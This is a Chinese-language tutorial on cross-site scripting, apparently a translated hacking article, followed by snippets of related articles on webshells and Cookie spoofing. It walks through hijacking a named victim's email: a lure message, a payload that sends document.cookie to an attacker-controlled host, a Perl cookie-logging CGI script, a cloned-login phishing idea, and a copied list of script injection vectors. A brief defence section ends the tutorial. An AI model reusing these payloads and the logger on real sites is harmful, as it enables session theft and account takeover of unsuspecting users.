跨站脚本说明_漏洞研究

以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的  

问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章  

,  

抱着知道总比不知道好的想法,翻译整理了一下,原文在偶主页的collection目录里,错误  

之处请  

多多指点。  

OK,go............  

什么是跨站脚本(CSS/XSS)?  

我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该  

页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,  

有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,  

如果  

你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。  

XSS和脚本注射的区别?  

原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的  

漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点:  

1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如  

:sql injection,XPath injection.  

2.跨站脚本是临时的,执行后就消失了  

什么类型的脚本可以被插入远程页面?  

主流脚本包括以下几种:  

HTML  

JavaScript (本文讨论)  

VBScript  

ActiveX  

Flash  

是什么原因导致一个站点存在XSS的安全漏洞?  

许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,  

出错信息会被打印到一个html文件,并将该错误页面发送给访问者。  

例如: 404 - yourfile.html Not Found!    

我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。  

例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html  

该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_  

me.html  

,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览  

器。  

考虑一下它是如何把我们的输入写到html文件里的?  

OK,现在是我们检查XSS漏洞的时候了!  

注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面  

里。当然方法很多  

www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</sc  

ript>  

当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"?   

这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。  

下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理  

,  

就直接写入404 error页面中,结果创建了一个页面,如下:  

          <html>  

          <b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!  

          </html>  

其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。  

如何利用XSS来完成hacking?  

如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入  

一个  

html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入  

到  

该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。  

事例:  

假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的  

目标是b00b这个人。  

           www.myemailserver.tld/cgi-bin/news.cgi?article=59035  

把上面存在CSS漏洞的连接修改一下:  

     www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red  

这会创建了一个错误页面,我们得到如下信息:  

           Invalid Input! [article=hax0red]  

当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。  

           www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')<  

/script>  

<script>并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对  

<script>alert('test')</script>进行有效过滤,所以在页面发回到浏览器并执行了该脚本  

。  

下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址,  

并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然  

它的用意就是从b00b机器中cookie信息里获得自己想要的东东。  

想办法让b00b访问myemailserver.tld站点发表的文章,比如说:”亲爱的b00b,看看这个美  

女  

如何呀?”  

那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取  

并保存cookie的脚本  

           </script>  

连接时,发生什么事情?cookie都有了,你该知道怎么办了吧!  

如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,  

然后引导用户登陆你的恶意系统页面  

这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,  

那些笨蛋并不会意识到实际发生的事情。  

把javascript脚本插入WEB页面的不同方法:  

<snip>  

拷贝自:GOBBLES SECURITY ADVISORY #33  

Here is a cut-n-paste collection of typical JavaScript-injection hacks  

you may derive some glee from playing with.  

  <a href="javascript#[code]">  

  <div onmouseover="[code]">  

  <img src="javascript:[code]">  

  <img dynsrc="javascript:[code]"> [IE]  

  <input type="image" dynsrc="javascript:[code]"> [IE]  

  <bgsound src="javascript:[code]"> [IE]  

  &<script>[code]</script>  

  &{[code]}; [N4]  

  <img src=&{[code]};> [N4]  

  <link rel="stylesheet" href="javascript:[code]">  

  <iframe src="vbscript:[code]"> [IE]  

  <img src="mocha:[code]"> [N4]  

  <img src="livescript:[code]"> [N4]  

  <a href="about:<script>[code]</script>">  

  <meta http-equiv="refresh" content="0;url=javascript:[code]">  

  <body onload="[code]">  

  <div style="background-image: url(javascript:[code]);">  

  <div style="behaviour: url([link to code]);"> [IE]  

  <div style="binding: url([link to code]);"> [Mozilla]  

  <div style="width: expression([code]);"> [IE]  

  <style type="text/javascript">[code]</style> [N4]  

  <object classid="clsid:..." codebase="javascript:[code]"> [IE]  

  <style><!--</style><script>[code]//--></script>  

  <![CDATA[<!--]]><script>[code]//--></script>  

  <!-- -- --><script>[code]</script><!-- -- -->  

  <script>[code]</script>  

  <img src="blah"onmouseover="[code]">  

  <img src="blah>" onmouseover="[code]">  

  <xml src="javascript:[code]">  

  <xml id="X"><a><b><script>[code]</script>;</b></a></xml>  

  <div datafld="b" dataformatas="html" datasrc="#X"></div>  

  [/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera]  

----Copied from GOBBLES SECURITY ADVISORY #33----  

</snip>  

一个真正的获取cookie并且做记录的例子:  

注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies,  

当我测试下面的信息时,使用  

javascript创建访问者的cookies,javascript脚本放在index.html文件中。  

OK,下面假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:  

http://website.tld/program.cgi?input=<evil javascript>  

我们创建这样一个连接:  

http://website.tld/program.cgi?input=<script>document.location='http://yoursite  

.tld  

/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script>  

然后让保存该站点cookie的用户访问这个连接:  

这是我们的CGI脚本,它的作用就是对用户cookie做记录:  

---------evil_cookie_logger.cgi-----------  

#!/usr/bin/perl  

# evil_cookie_logger.cgi  

# remote cookie logging CGI coded by BrainRawt  

#  

# NOTE: coded as a proof of concept script when testing for  

#       cross-site scripting vulnerabilities.  

$borrowed_info = $ENV{'QUERY_STRING'};  

$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;  

open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:  

text/html/n/n something went wrong/n";  

  print EVIL_COOKIE_LOG "$borrowed_info/n";  

  print "Content-type: text/html/n/n";  

close(EVIL_COOKIE_LOG);  

------------------------------------------  

该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,  

通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo  

g文件。  

注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行,  

这仅仅是我在自己的站点上做测试用的。  

如何防范XSS攻击?  

1.在你的WEB浏览器上禁用javascript脚本  

2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。  

可以把"<",">"转换为<,>  

注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,  

这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。  

对受害者来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。  

时间: 2024-10-22 22:09:42

跨站脚本说明_漏洞研究的相关文章

当备份数据库不能用时.用邮件列表得到WEBSHELL!(图)_漏洞研究

今天上午闲着无聊,刚好一个朋友发过来一个网站的后台管理密码.他要我帮他看看.我说你得到后台了.可以用备份数据库功能得到WEBSHELL啊.你还发过来干嘛.他说后台有数据备份的选项.但是不能用.大家看一下图!  列表得到WEBSHELL!(图)_漏洞研究-数据库备份拿shell">  里面有备份的选项.但是点了之后出现错误!应该是管理员把文件改名了.或者是位置改变了.不能备份数据库,那怎么办,不能白白的浪费这样的一个机会.我就在后台里面到处看了一下.发现可以通过改网站注册用户的邮件地址.我们

UBB的跨站脚本攻击的漏洞_漏洞研究

近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!小则,弹点 什么东东出来;中则改改主页;重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?如果再加上该站的站长比较"盲"一些,岂不乱套了?  小小的一段代码就真的能使一个站点成这样?好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点比

研究UBB的跨站脚本攻击之综合篇_漏洞研究

近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!小则,弹点什么东东出来;中则改改主页;重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?如果再加上该站的站长比较"盲"一些,岂不乱套了?  小小的一段代码就真的能使一个站点成这样?好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点,比

再探九酷网络个人主页空间管理系统_漏洞研究

本文作者:玄猫[B.C.T]  本文原发表于<黑客X档案>2005年第7期,网上首发地址为B.C.T(http://www.cnbct.org/showarticle.asp?id=495)和黑色森林(http://www.blackwoosd.cn)  本文版权归<黑客X档案>和作者杂志社所有   --------------------------------------------------------------------------------  玄猫在2004年12

最新的黑客技术:XSS跨站脚本攻击详细介绍_漏洞研究

总体上介绍 简单介绍什么是XSS攻击 如何寻找XSS漏洞 对于XSS攻击的总体思路 来自内部的攻击: 如何寻找内部的XSS漏洞 如何构造攻击 如何利用 结何实例攻击,如DVBBS&BBSXP 来自外部的攻击 如何构造XSS攻击 如何欺骗管理员打开 XSS与其它技术的结何 与mssql injection的结合 QQ跨站的结何 国内大型统计网站的跨站漏洞 社会工程学 制作恐怖的flash木马 制作方法由李丰初写 总结  正文: XSS总体介绍 什么是XSS攻击 XSS又叫CSS  (Cross S

字符集导致的浏览器跨站脚本攻击分析_漏洞研究

|=-------------------------------–=| |=-----–=[ 字符集导致的浏览器跨站脚本攻击 ]=-----–=| |=-------------------------------–=| |=-------------=[ By jianxin ]=------------=| |=-----------=[ jianxin@80sec.com ]=----------=| |=--------------------------------=| 文中<已经被

MSIE DHTML Edit跨站脚本漏洞_漏洞研究

微软在去年发布了MSIE DHTML Edit控件跨站脚本漏洞,但是圈内一直没有公布出好用的EXP,害得一帮新手叫苦不迭,别急,这不是为大家送来了大餐吗?!  [受影响系统]   Microsoft Internet Explorer 6.0  - Microsoft Windows XP Professional SP1   - Microsoft Windows XP Professional   - Microsoft Windows XP Home SP1   - Microsoft W

跨站脚本攻击+Cookies欺骗(Discuz篇)_漏洞研究

这次我拿Discuz示范给大家看,首先我们都知道,Discuz在pm.php的程式中,并没有对    会员名字做过滤,导致我们可以写入一些script.    聪明的同学们,想到了吗?我们正可以利用这个漏洞写一段获取cookies的script.    这是要像看到颜色 就会反应的!(取自 数学补习班= =")    所以我们先从本端 获取自己cookies看看...    例句:    http://www.abc.com/pm.php?action=send&username=看啥?

网站程序中非SI漏洞的利用_漏洞研究

Part I 前言  现在网上最流行的网站攻击手段,要数得上SQL Injection了,虽然SI技术易学易用,并且容易取得较大的权限,但因其风头实在太大,现在一般稍有点安全意识的程序员都会注意到这个问题,并且通过GET方法提交的数据会被服务器记录在案,而让网管很容易找到入侵者.  非SI类攻击相对来说获得的服务器操作权限不大,但对于以获得数据为目的的入侵还是很有用的.  Part II 方法介绍  常规的非SI类攻击有如下几种:  一. 跨站脚本攻击(XSS)  跨站脚本攻击不会直接对网站服务